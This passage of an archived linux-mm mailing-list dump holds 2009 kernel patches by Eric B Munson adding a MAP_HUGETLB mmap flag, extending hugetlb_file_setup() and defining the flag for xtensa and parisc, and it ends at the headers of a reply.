+static int can_do_hugetlb_shm()
 {
 	return capable(CAP_IPC_LOCK) || in_group_p(sysctl_hugetlb_shm_group);
 }
 
 struct file *hugetlb_file_setup(const char *name, size_t size, int acctflag,
-						struct user_struct **user)
+				struct user_struct **user, int creat_flags)
 {
 	int error = -ENOMEM;
 	struct file *file;
@@ -949,7 +956,7 @@ struct file *hugetlb_file_setup(const char *name, size_t size, int acctflag,
 	if (!hugetlbfs_vfsmount)
 		return ERR_PTR(-ENOENT);
 
-	if (!can_do_hugetlb_shm()) {
+	if (creat_flags == HUGETLB_SHMFS_INODE && !can_do_hugetlb_shm()) {
 		*user = current_user();
 		if (user_shm_lock(size, *user)) {
 			WARN_ONCE(1,
diff --git a/include/linux/hugetlb.h b/include/linux/hugetlb.h
index 5cbc620..38bb552 100644
--- a/include/linux/hugetlb.h
+++ b/include/linux/hugetlb.h
@@ -110,6 +110,14 @@ static inline void hugetlb_report_meminfo(struct seq_file *m)
 
 #endif /* !CONFIG_HUGETLB_PAGE */
 
+enum {
+	/*
+	 * The file will be used as an shm file so shmfs accounting rules
+	 * apply
+	 */
+	HUGETLB_SHMFS_INODE     = 1,
+};
+
 #ifdef CONFIG_HUGETLBFS
 struct hugetlbfs_config {
 	uid_t   uid;
@@ -148,7 +156,7 @@ static inline struct hugetlbfs_sb_info *HUGETLBFS_SB(struct super_block *sb)
 extern const struct file_operations hugetlbfs_file_operations;
 extern struct vm_operations_struct hugetlb_vm_ops;
 struct file *hugetlb_file_setup(const char *name, size_t size, int acct,
-						struct user_struct **user);
+				struct user_struct **user, int creat_flags);
 int hugetlb_get_quota(struct address_space *mapping, long delta);
 void hugetlb_put_quota(struct address_space *mapping, long delta);
 
@@ -170,7 +178,7 @@ static inline void set_file_hugepages(struct file *file)
 
 #define is_file_hugepages(file)			0
 #define set_file_hugepages(file)		BUG()
-#define hugetlb_file_setup(name,size,acct,user)	ERR_PTR(-ENOSYS)
+#define hugetlb_file_setup(name,size,acct,user,creat)	ERR_PTR(-ENOSYS)
 
 #endif /* !CONFIG_HUGETLBFS */
 
diff --git a/ipc/shm.c b/ipc/shm.c
index 30162a5..9eb1488 100644
--- a/ipc/shm.c
+++ b/ipc/shm.c
@@ -370,7 +370,7 @@ static int newseg(struct ipc_namespace *ns, struct ipc_params *params)
 		if (shmflg & SHM_NORESERVE)
 			acctflag = VM_NORESERVE;
 		file = hugetlb_file_setup(name, size, acctflag,
-							&shp->mlock_user);
+					&shp->mlock_user, HUGETLB_SHMFS_INODE);
 	} else {
 		/*
 		 * Do not allow no accounting for OVERCOMMIT_NEVER, even
-- 
1.6.3.2

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:04:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <ebmunson@us.ibm.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.man,gmane.linux.documentation,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH 5/7] Add MAP_HUGETLB flag to xtensa mman.h
Date: Fri, 18 Sep 2009 06:21:51 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <d8e315b04749f73765e61eb7e4cbbaed2b946dfd.1253272709.git.ebmunson@us.ibm.com>
References: <cover.1253272709.git.ebmunson@us.ibm.com>
 <653aa659fd7970f7428f4eb41fa10693064e4daf.1253272709.git.ebmunson@us.ibm.com>
 <08251014d2eb30e9016bab16404133f5c13beacf.1253272709.git.ebmunson@us.ibm.com>
 <462331ca14e2ed47b20b047342e73b92559e1c5b.1253272709.git.ebmunson@us.ibm.com>
 <be5687cbd44413416009466357c1ded6418cc163.1253272709.git.ebmunson@us.ibm.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253276597 15564 80.91.229.12 (18 Sep 2009 12:23:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Sep 2009 12:23:17 +0000 (UTC)
Cc: rdunlap@xenotime.net, michael@ellerman.id.au, ralf@linux-mips.org,
        wli@holomorphy.com, mel@csn.ul.ie, dhowells@redhat.com, arnd@arndb.de,
        fengguang.wu@intel.com, shuber2@gmail.com, hugh.dickins@tiscali.co.uk,
        zohar@us.ibm.com, hugh@veritas.com, mtk.manpages@gmail.com,
        chris@zankel.net, linux-man@vger.kernel.org, linux-doc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-arch@vger.kernel.org,
        Eric B Munson <ebmunson@us.ibm.com>
To: linux-kernel@vger.kernel.org, linux-mm@kvack.org,
        akpm@linux-foundation.org
Original-X-From: owner-linux-mm@kvack.org Fri Sep 18 14:22:58 2009
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MocUM-0008K9-CX
	for glkm-linux-mm-2@m.gmane.org; Fri, 18 Sep 2009 14:22:58 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id A5D686B008C; Fri, 18 Sep 2009 08:22:13 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 0)
	id 8E44C6B0093; Fri, 18 Sep 2009 08:22:13 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 9AEDD6B00AC; Fri, 18 Sep 2009 08:22:12 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail202.messagelabs.com (mail202.messagelabs.com [216.82.254.227])
	by kanga.kvack.org (Postfix) with ESMTP id 6B7696B0089
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:09 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: emunson@lappy-486.beaverton.ibm.com
X-Msg-Ref: server-11.tower-202.messagelabs.com!1253276493!43120595!1
X-StarScan-Version: 6.1.3; banners=-,-,-
X-Originating-IP: [32.97.182.145]
X-SpamReason: No, hits=0.0 required=7.0 tests=sa_preprocessor: 
  VHJ1c3RlZCBJUDogMzIuOTcuMTgyLjE0NSA9PiAyMTU4ODM=\n
Original-Received: (qmail 8191 invoked from network); 18 Sep 2009 12:21:34 -0000
Original-Received: from e5.ny.us.ibm.com (HELO e5.ny.us.ibm.com) (32.97.182.145)
  by server-11.tower-202.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 18 Sep 2009 12:21:34 -0000
Original-Received: from d01relay02.pok.ibm.com (d01relay02.pok.ibm.com [9.56.227.234])
	by e5.ny.us.ibm.com (8.14.3/8.13.1) with ESMTP id n8ICDHt4011914
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:13:17 -0400
Original-Received: from d01av03.pok.ibm.com (d01av03.pok.ibm.com [9.56.224.217])
	by d01relay02.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id n8ICMB2q254914
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:11 -0400
Original-Received: from d01av03.pok.ibm.com (loopback [127.0.0.1])
	by d01av03.pok.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id n8ICMABh022442
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:11 -0400
Original-Received: from lappy-486.beaverton.ibm.com (sig-9-65-94-243.mts.ibm.com [9.65.94.243])
	by d01av03.pok.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id n8ICM9UO022395;
	Fri, 18 Sep 2009 08:22:09 -0400
Original-Received: by lappy-486.beaverton.ibm.com (Postfix, from userid 1000)
	id 73A9591BF1; Fri, 18 Sep 2009 06:22:06 -0600 (MDT)
X-Mailer: git-send-email 1.6.3.2
In-Reply-To: <be5687cbd44413416009466357c1ded6418cc163.1253272709.git.ebmunson@us.ibm.com>
In-Reply-To: <cover.1253272709.git.ebmunson@us.ibm.com>
Original-References: <cover.1253272709.git.ebmunson@us.ibm.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000003, version=1.1.6
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
Xref: news.gmane.org gmane.linux.kernel.mm:39111 gmane.linux.kernel:891421 gmane.linux.man:1043 gmane.linux.documentation:858 gmane.linux.ports.alpha:618 gmane.linux.ports.mips.general:25092 gmane.linux.ports.parisc:2188 gmane.linux.kernel.cross-arch:4440
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2188>

Even though xtensa does not support huge pages this flag needs to
be defined here to keep the compiler happy.  This is because
xtensa does not make use of mman-common.h, so any flags defined
there and used in common code need to be added to xtensa's mman.h
manually.

Signed-off-by: Eric B Munson <ebmunson@us.ibm.com>
---
 arch/xtensa/include/asm/mman.h |    6 ++++++
 1 files changed, 6 insertions(+), 0 deletions(-)

diff --git a/arch/xtensa/include/asm/mman.h b/arch/xtensa/include/asm/mman.h
index 9b92620..2572f5a 100644
--- a/arch/xtensa/include/asm/mman.h
+++ b/arch/xtensa/include/asm/mman.h
@@ -53,6 +53,12 @@
 #define MAP_LOCKED	0x8000		/* pages are locked */
 #define MAP_POPULATE	0x10000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
+/*
+ * This flag is included even though huge pages are not supported because
+ * the flag is defined in mman-common.h and used in common vm code but
+ * mman-common.h is not included here
+ */
+#define MAP_HUGETLB	0x080000
 
 /*
  * Flags for msync
-- 
1.6.3.2

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:04:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <ebmunson@us.ibm.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.man,gmane.linux.documentation,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH 6/7] Add MAP_HUGETLB flag to parisc mman.h
Date: Fri, 18 Sep 2009 06:21:52 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <309744fd80915ce157aa90dbb807101f61b1f334.1253272709.git.ebmunson@us.ibm.com>
References: <cover.1253272709.git.ebmunson@us.ibm.com>
 <653aa659fd7970f7428f4eb41fa10693064e4daf.1253272709.git.ebmunson@us.ibm.com>
 <08251014d2eb30e9016bab16404133f5c13beacf.1253272709.git.ebmunson@us.ibm.com>
 <462331ca14e2ed47b20b047342e73b92559e1c5b.1253272709.git.ebmunson@us.ibm.com>
 <be5687cbd44413416009466357c1ded6418cc163.1253272709.git.ebmunson@us.ibm.com>
 <d8e315b04749f73765e61eb7e4cbbaed2b946dfd.1253272709.git.ebmunson@us.ibm.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253276607 15589 80.91.229.12 (18 Sep 2009 12:23:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Sep 2009 12:23:27 +0000 (UTC)
Cc: rdunlap@xenotime.net, michael@ellerman.id.au, ralf@linux-mips.org,
        wli@holomorphy.com, mel@csn.ul.ie, dhowells@redhat.com, arnd@arndb.de,
        fengguang.wu@intel.com, shuber2@gmail.com, hugh.dickins@tiscali.co.uk,
        zohar@us.ibm.com, hugh@veritas.com, mtk.manpages@gmail.com,
        chris@zankel.net, linux-man@vger.kernel.org, linux-doc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-arch@vger.kernel.org,
        Eric B Munson <ebmunson@us.ibm.com>
To: linux-kernel@vger.kernel.org, linux-mm@kvack.org,
        akpm@linux-foundation.org
Original-X-From: owner-linux-mm@kvack.org Fri Sep 18 14:23:15 2009
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MocUb-0008Q0-T4
	for glkm-linux-mm-2@m.gmane.org; Fri, 18 Sep 2009 14:23:14 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 20E196B0092; Fri, 18 Sep 2009 08:22:15 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 0)
	id B27626B00B2; Fri, 18 Sep 2009 08:22:14 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 36A826B00AC; Fri, 18 Sep 2009 08:22:14 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail172.messagelabs.com (mail172.messagelabs.com [216.82.254.3])
	by kanga.kvack.org (Postfix) with ESMTP id 97FE56B00B2
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:10 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: emunson@lappy-486.beaverton.ibm.com
X-Msg-Ref: server-5.tower-172.messagelabs.com!1253276537!16682887!1
X-StarScan-Version: 6.1.3; banners=-,-,-
X-Originating-IP: [32.97.110.159]
X-SpamReason: No, hits=0.0 required=7.0 tests=sa_preprocessor: 
  VHJ1c3RlZCBJUDogMzIuOTcuMTEwLjE1OSA9PiAxODgyNjY=\n
Original-Received: (qmail 31905 invoked from network); 18 Sep 2009 12:22:17 -0000
Original-Received: from e38.co.us.ibm.com (HELO e38.co.us.ibm.com) (32.97.110.159)
  by server-5.tower-172.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 18 Sep 2009 12:22:17 -0000
Original-Received: from d03relay04.boulder.ibm.com (d03relay04.boulder.ibm.com [9.17.195.106])
	by e38.co.us.ibm.com (8.14.3/8.13.1) with ESMTP id n8ICIENd013381
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 06:18:14 -0600
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay04.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id n8ICMBi4160954
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 06:22:11 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id n8ICMAhU003760
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 06:22:11 -0600
Original-Received: from lappy-486.beaverton.ibm.com (sig-9-65-94-243.mts.ibm.com [9.65.94.243])
	by d03av01.boulder.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id n8ICMA8i003723;
	Fri, 18 Sep 2009 06:22:10 -0600
Original-Received: by lappy-486.beaverton.ibm.com (Postfix, from userid 1000)
	id 7919491DF0; Fri, 18 Sep 2009 06:22:06 -0600 (MDT)
X-Mailer: git-send-email 1.6.3.2
In-Reply-To: <d8e315b04749f73765e61eb7e4cbbaed2b946dfd.1253272709.git.ebmunson@us.ibm.com>
In-Reply-To: <cover.1253272709.git.ebmunson@us.ibm.com>
Original-References: <cover.1253272709.git.ebmunson@us.ibm.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000009, version=1.1.6
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
Xref: news.gmane.org gmane.linux.kernel.mm:39112 gmane.linux.kernel:891422 gmane.linux.man:1044 gmane.linux.documentation:859 gmane.linux.ports.alpha:619 gmane.linux.ports.mips.general:25093 gmane.linux.ports.parisc:2189 gmane.linux.kernel.cross-arch:4441
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2189>

Even though parisc does not support huge pages this flag needs to
be defined here to keep the compiler happy.  This is because
parisc does not make use of mman-common.h, so any flags defined
there and used in common code need to be added to parisc's mman.h
manually.

Signed-off-by: Eric B Munson <ebmunson@us.ibm.com>
---
 arch/parisc/include/asm/mman.h |    7 +++++++
 1 files changed, 7 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/mman.h b/arch/parisc/include/asm/mman.h
index defe752..7563d0c 100644
--- a/arch/parisc/include/asm/mman.h
+++ b/arch/parisc/include/asm/mman.h
@@ -58,4 +58,11 @@
 #define MAP_FILE	0
 #define MAP_VARIABLE	0
 
+/*
+ * This flag is included even though huge pages are not supported because
+ * the flag is defined in mman-common.h and used in common vm code but
+ * mman-common.h is not included here
+ */
+#define MAP_HUGETLB	0x080000
+
 #endif /* __PARISC_MMAN_H__ */
-- 
1.6.3.2

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:04:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <ebmunson@us.ibm.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.man,gmane.linux.documentation,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH 1/7] hugetlbfs: Allow the creation of files suitable for MAP_PRIVATE on the vfs internal mount
Date: Fri, 18 Sep 2009 06:37:58 -0600
Lines: 114
Approved: news@gmane.org
Message-ID: <0f28cb0d89a7b83f7edf92181c5d13422f5b009c.1253276847.git.ebmunson@us.ibm.com>
References: <653aa659fd7970f7428f4eb41fa10693064e4daf.1253272709.git.ebmunson@us.ibm.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253277512 18364 80.91.229.12 (18 Sep 2009 12:38:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Sep 2009 12:38:32 +0000 (UTC)
Cc: rdunlap@xenotime.net, michael@ellerman.id.au, ralf@linux-mips.org,
        wli@holomorphy.com, mel@csn.ul.ie, dhowells@redhat.com, arnd@arndb.de,
        fengguang.wu@intel.com, shuber2@gmail.com, hugh.dickins@tiscali.co.uk,
        zohar@us.ibm.com, hugh@veritas.com, mtk.manpages@gmail.com,
        chris@zankel.net, linux-man@vger.kernel.org, linux-doc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-arch@vger.kernel.org,
        Eric B Munson <ebmunson@us.ibm.com>
To: linux-kernel@vger.kernel.org, linux-mm@kvack.org,
        akpm@linux-foundation.org
Original-X-From: owner-linux-mm@kvack.org Fri Sep 18 14:38:21 2009
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MocjF-0004By-1e
	for glkm-linux-mm-2@m.gmane.org; Fri, 18 Sep 2009 14:38:21 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 8A9356B00DE; Fri, 18 Sep 2009 08:38:14 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 0)
	id 8770F6B00DF; Fri, 18 Sep 2009 08:38:14 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 4101B6B00E0; Fri, 18 Sep 2009 08:38:14 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail172.messagelabs.com (mail172.messagelabs.com [216.82.254.3])
	by kanga.kvack.org (Postfix) with ESMTP id B67B96B00DE
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:38:13 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: emunson@lappy-486.beaverton.ibm.com
X-Msg-Ref: server-4.tower-172.messagelabs.com!1253277496!37876462!1
X-StarScan-Version: 6.1.3; banners=-,-,-
X-Originating-IP: [32.97.110.153]
X-SpamReason: No, hits=0.0 required=7.0 tests=sa_preprocessor: 
  VHJ1c3RlZCBJUDogMzIuOTcuMTEwLjE1MyA9PiAxOTI0MDU=\n
Original-Received: (qmail 6749 invoked from network); 18 Sep 2009 12:38:16 -0000
Original-Received: from e35.co.us.ibm.com (HELO e35.co.us.ibm.com) (32.97.110.153)
  by server-4.tower-172.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 18 Sep 2009 12:38:16 -0000
Original-Received: from d03relay04.boulder.ibm.com (d03relay04.boulder.ibm.com [9.17.195.106])
	by e35.co.us.ibm.com (8.14.3/8.13.1) with ESMTP id n8ICSFlQ015768
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 06:28:15 -0600
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay04.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id n8ICcD4B164148
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 06:38:13 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id n8ICcCol018453
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 06:38:13 -0600
Original-Received: from lappy-486.beaverton.ibm.com (sig-9-65-94-243.mts.ibm.com [9.65.94.243])
	by d03av01.boulder.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id n8ICcBaJ018397;
	Fri, 18 Sep 2009 06:38:11 -0600
Original-Received: by lappy-486.beaverton.ibm.com (Postfix, from userid 1000)
	id 1F38791DA4; Fri, 18 Sep 2009 06:38:10 -0600 (MDT)
X-Mailer: git-send-email 1.6.3.2
In-Reply-To: <653aa659fd7970f7428f4eb41fa10693064e4daf.1253272709.git.ebmunson@us.ibm.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.1.6
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
Xref: news.gmane.org gmane.linux.kernel.mm:39113 gmane.linux.kernel:891427 gmane.linux.man:1045 gmane.linux.documentation:860 gmane.linux.ports.alpha:620 gmane.linux.ports.mips.general:25094 gmane.linux.ports.parisc:2190 gmane.linux.kernel.cross-arch:4444
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2190>

There are two means of creating mappings backed by huge pages:

        1. mmap() a file created on hugetlbfs
        2. Use shm which creates a file on an internal mount which essentially
           maps it MAP_SHARED

The internal mount is only used for shared mappings but there is very
little that stops it being used for private mappings. This patch extends
hugetlbfs_file_setup() to deal with the creation of files that will be
mapped MAP_PRIVATE on the internal hugetlbfs mount. This extended API is
used in a subsequent patch to implement the MAP_HUGETLB mmap() flag.

Signed-off-by: Eric Munson <ebmunson@us.ibm.com>
---
 fs/hugetlbfs/inode.c    |   11 +++++++++--
 include/linux/hugetlb.h |   12 ++++++++++--
 ipc/shm.c               |    2 +-
 3 files changed, 20 insertions(+), 5 deletions(-)

diff --git a/fs/hugetlbfs/inode.c b/fs/hugetlbfs/inode.c
index a93b885..c50853e 100644
--- a/fs/hugetlbfs/inode.c
+++ b/fs/hugetlbfs/inode.c
@@ -507,6 +507,13 @@ static struct inode *hugetlbfs_get_inode(struct super_block *sb, uid_t uid,
 		inode->i_atime = inode->i_mtime = inode->i_ctime = CURRENT_TIME;
 		INIT_LIST_HEAD(&inode->i_mapping->private_list);
 		info = HUGETLBFS_I(inode);
+		/*
+		 * The policy is initialized here even if we are creating a
+		 * private inode because initialization simply creates an
+		 * an empty rb tree and calls spin_lock_init(), later when we
+		 * call mpol_free_shared_policy() it will just return because
+		 * the rb tree will still be empty.
+		 */
 		mpol_shared_policy_init(&info->policy, NULL);
 		switch (mode & S_IFMT) {
 		default:
@@ -937,7 +944,7 @@ static int can_do_hugetlb_shm(void)
 }
 
 struct file *hugetlb_file_setup(const char *name, size_t size, int acctflag,
-						struct user_struct **user)
+				struct user_struct **user, int creat_flags)
 {
 	int error = -ENOMEM;
 	struct file *file;
@@ -949,7 +956,7 @@ struct file *hugetlb_file_setup(const char *name, size_t size, int acctflag,
 	if (!hugetlbfs_vfsmount)
 		return ERR_PTR(-ENOENT);
 
-	if (!can_do_hugetlb_shm()) {
+	if (creat_flags == HUGETLB_SHMFS_INODE && !can_do_hugetlb_shm()) {
 		*user = current_user();
 		if (user_shm_lock(size, *user)) {
 			WARN_ONCE(1,
diff --git a/include/linux/hugetlb.h b/include/linux/hugetlb.h
index 5cbc620..38bb552 100644
--- a/include/linux/hugetlb.h
+++ b/include/linux/hugetlb.h
@@ -110,6 +110,14 @@ static inline void hugetlb_report_meminfo(struct seq_file *m)
 
 #endif /* !CONFIG_HUGETLB_PAGE */
 
+enum {
+	/*
+	 * The file will be used as an shm file so shmfs accounting rules
+	 * apply
+	 */
+	HUGETLB_SHMFS_INODE     = 1,
+};
+
 #ifdef CONFIG_HUGETLBFS
 struct hugetlbfs_config {
 	uid_t   uid;
@@ -148,7 +156,7 @@ static inline struct hugetlbfs_sb_info *HUGETLBFS_SB(struct super_block *sb)
 extern const struct file_operations hugetlbfs_file_operations;
 extern struct vm_operations_struct hugetlb_vm_ops;
 struct file *hugetlb_file_setup(const char *name, size_t size, int acct,
-						struct user_struct **user);
+				struct user_struct **user, int creat_flags);
 int hugetlb_get_quota(struct address_space *mapping, long delta);
 void hugetlb_put_quota(struct address_space *mapping, long delta);
 
@@ -170,7 +178,7 @@ static inline void set_file_hugepages(struct file *file)
 
 #define is_file_hugepages(file)			0
 #define set_file_hugepages(file)		BUG()
-#define hugetlb_file_setup(name,size,acct,user)	ERR_PTR(-ENOSYS)
+#define hugetlb_file_setup(name,size,acct,user,creat)	ERR_PTR(-ENOSYS)
 
 #endif /* !CONFIG_HUGETLBFS */
 
diff --git a/ipc/shm.c b/ipc/shm.c
index 30162a5..9eb1488 100644
--- a/ipc/shm.c
+++ b/ipc/shm.c
@@ -370,7 +370,7 @@ static int newseg(struct ipc_namespace *ns, struct ipc_params *params)
 		if (shmflg & SHM_NORESERVE)
 			acctflag = VM_NORESERVE;
 		file = hugetlb_file_setup(name, size, acctflag,
-							&shp->mlock_user);
+					&shp->mlock_user, HUGETLB_SHMFS_INODE);
 	} else {
 		/*
 		 * Do not allow no accounting for OVERCOMMIT_NEVER, even
-- 
1.6.3.2

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:04:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.documentation,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.man,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/7] hugetlbfs: Allow the creation of files suitable for
 MAP_PRIVATE on the vfs internal mount
Date: Fri, 18 Sep 2009 13:06:59 -0700 (PDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.00.0909181306450.27556@chino.kir.corp.google.com>
References: <653aa659fd7970f7428f4eb41fa10693064e4daf.1253272709.git.ebmunson@us.ibm.com> <0f28cb0d89a7b83f7edf92181c5d13422f5b009c.1253276847.git.ebmunson@us.ibm.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1253304622 12528 80.91.229.12 (18 Sep 2009 20:10:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Sep 2009 20:10:22 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-mm@kvack.org,
	akpm@linux-foundation.org, rdunlap@xenotime.net,
	michael@ellerman.id.au, ralf@linux-mips.org, wli@holomorphy.com,
	mel@csn.ul.ie, dhowells@redhat.com, arnd@arndb.de,
	fengguang.wu@intel.com, shuber2@gmail.com,
	hugh.dickins@tiscali.co.uk, zohar@us.ibm.com, hugh@veritas.com,
	mtk.manpages@gmail.com, chris@zankel.net,
	linux-man@vger.kernel.org, linux-doc@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-arch@vger.kernel.org
To: Eric B Munson <ebmunson@us.ibm.com>
Original-X-From: linux-doc-owner@vger.kernel.org Fri Sep 18 22:10:11 2009
Return-path: <linux-doc-owner@vger.kernel.org>
Envelope-to: lnx-linux-doc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MojmU-0003Py-5Y
	for lnx-linux-doc@lo.gmane.org; Fri, 18 Sep 2009 22:10:10 +0200
